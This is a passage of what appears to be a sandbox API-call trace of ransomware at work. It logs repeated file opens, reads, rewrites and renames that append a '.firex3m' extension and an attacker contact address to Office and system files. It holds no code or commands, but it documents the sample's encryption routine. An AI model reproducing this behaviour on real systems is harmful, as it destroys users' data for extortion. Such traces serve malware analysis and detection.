lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.950] CloseHandle (hObject=0x4dc) returned 1 [0201.950] GetProcessHeap () returned 0x630000 [0201.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ac900 | out: hHeap=0x630000) returned 1 [0201.951] GetProcessHeap () returned 0x630000 [0201.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0201.951] GetProcessHeap () returned 0x630000 [0201.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0201.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3e52fd3a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0xa187496, dwReserved1=0x7224590, cFileName="BillingStatement.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BILLIN~1.FIR")) returned 0x6d5280 [0201.952] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.952] Sleep (dwMilliseconds=0x1) [0204.183] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", len=0x6f | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 1 [0204.188] GetProcessHeap () returned 0x630000 [0204.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c14) returned 0x7133a90 [0204.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0204.229] CloseHandle (hObject=0x6d0) returned 1 [0204.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\smarttaginstall.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\smarttaginstall.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0xfa0010ea, dwReserved1=0x63005b, cFileName="SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SMARTT~1.FIR")) returned 0x6d4f00 [0204.231] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0204.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\smarttaginstall.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0204.231] GetProcessHeap () returned 0x630000 [0204.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x54e1) returned 0x7276fa0 [0204.231] GetProcessHeap () returned 0x630000 [0204.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x54e1) returned 0x6fb4a18 [0204.232] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.232] ReadFile (in: hFile=0x6d0, lpBuffer=0x7276fa0, nNumberOfBytesToRead=0x54c0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7276fa0*, lpNumberOfBytesRead=0x537ff0c*=0x54c0, lpOverlapped=0x0) returned 1 [0208.649] GetProcessHeap () returned 0x630000 [0208.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0208.649] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.650] WriteFile (in: hFile=0x6d0, lpBuffer=0x6fb4a18*, nNumberOfBytesToWrite=0x54c0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb4a18*, lpNumberOfBytesWritten=0x537ff0c*=0x54c0, lpOverlapped=0x0) returned 1 [0208.650] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.650] WriteFile (in: hFile=0x6d0, lpBuffer=0x6fb9ed7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb9ed7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.650] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.650] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.650] CloseHandle (hObject=0x6d0) returned 1 [0208.650] GetProcessHeap () returned 0x630000 [0208.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb4a18 | out: hHeap=0x630000) returned 1 [0208.650] GetProcessHeap () returned 0x630000 [0208.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7276fa0 | out: hHeap=0x630000) returned 1 [0208.650] GetProcessHeap () returned 0x630000 [0208.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0208.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x425150a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x54e4, dwReserved0=0xa187496, dwReserved1=0x7276f98, cFileName="SmartTagInstall.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SMARTT~1.FIR")) returned 0x6d5000 [0208.651] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0208.651] Sleep (dwMilliseconds=0x1) [0210.572] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM", len=0x6c | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM") returned 1 [0210.572] GetProcessHeap () returned 0x630000 [0210.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e0c) returned 0x6fe4288 [0210.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0210.573] CloseHandle (hObject=0x6d4) returned 1 [0210.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0xff00b748, dwReserved1=0x74006e, cFileName="SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~2.FIR")) returned 0x6d4f00 [0210.574] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0210.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0210.574] GetProcessHeap () returned 0x630000 [0210.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0210.574] GetProcessHeap () returned 0x630000 [0210.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0210.574] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.574] ReadFile (in: hFile=0x6d4, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.650] GetProcessHeap () returned 0x630000 [0217.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0217.651] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.651] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.651] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.651] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.651] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.652] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.652] CloseHandle (hObject=0x6d4) returned 1 [0217.652] GetProcessHeap () returned 0x630000 [0217.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0217.652] GetProcessHeap () returned 0x630000 [0217.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0217.652] GetProcessHeap () returned 0x630000 [0217.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0217.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x47ae9683, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10b15, dwReserved0=0xa187496, dwReserved1=0x71c0040, cFileName="SPRING.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPRING~2.FIR")) returned 0x6d4f40 [0217.652] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0217.652] Sleep (dwMilliseconds=0x1) [0219.256] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html", len=0x6f | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html") returned 1 [0219.256] GetProcessHeap () returned 0x630000 [0219.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e0) returned 0x6fe3bb0 [0219.256] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0219.257] CloseHandle (hObject=0x6cc) returned 1 [0219.259] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.259] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.260] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0219.260] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0219.261] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0219.261] GetProcessHeap () returned 0x630000 [0219.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac81) returned 0x7477198 [0219.261] GetProcessHeap () returned 0x630000 [0219.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac81) returned 0x7481e28 [0219.261] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.261] ReadFile (in: hFile=0x640, lpBuffer=0x7477198, nNumberOfBytesToRead=0xac60, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477198*, lpNumberOfBytesRead=0x537ff0c*=0xac60, lpOverlapped=0x0) returned 1 [0224.302] GetProcessHeap () returned 0x630000 [0224.302] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0224.302] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.302] WriteFile (in: hFile=0x640, lpBuffer=0x7481e28*, nNumberOfBytesToWrite=0xac60, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7481e28*, lpNumberOfBytesWritten=0x537ff0c*=0xac60, lpOverlapped=0x0) returned 1 [0225.103] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.103] WriteFile (in: hFile=0x640, lpBuffer=0x748ca87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x748ca87*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.702] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.702] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.702] CloseHandle (hObject=0x640) returned 1 [0225.720] GetProcessHeap () returned 0x630000 [0225.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7481e28 | out: hHeap=0x630000) returned 1 [0225.720] GetProcessHeap () returned 0x630000 [0225.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7477198 | out: hHeap=0x630000) returned 1 [0225.720] GetProcessHeap () returned 0x630000 [0225.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0226.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7a90ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xac9c, dwReserved0=0xa187496, dwReserved1=0x7477190, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5440 [0226.680] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0226.680] Sleep (dwMilliseconds=0x1) [0226.685] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\FepUnregister.mof", len=0x33 | out: pbstr=0x537ff7c*="C:\\Program Files\\Windows Defender\\FepUnregister.mof") returned 1 [0226.685] GetProcessHeap () returned 0x630000 [0226.685] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c8) returned 0x6fe3bb0 [0226.685] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\FepUnregister.mof" (normalized: "c:\\program files\\windows defender\\fepunregister.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.701] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml") returned 1 [0226.701] GetProcessHeap () returned 0x630000 [0226.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0226.701] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0226.719] CloseHandle (hObject=0x640) returned 1 [0226.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.719] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 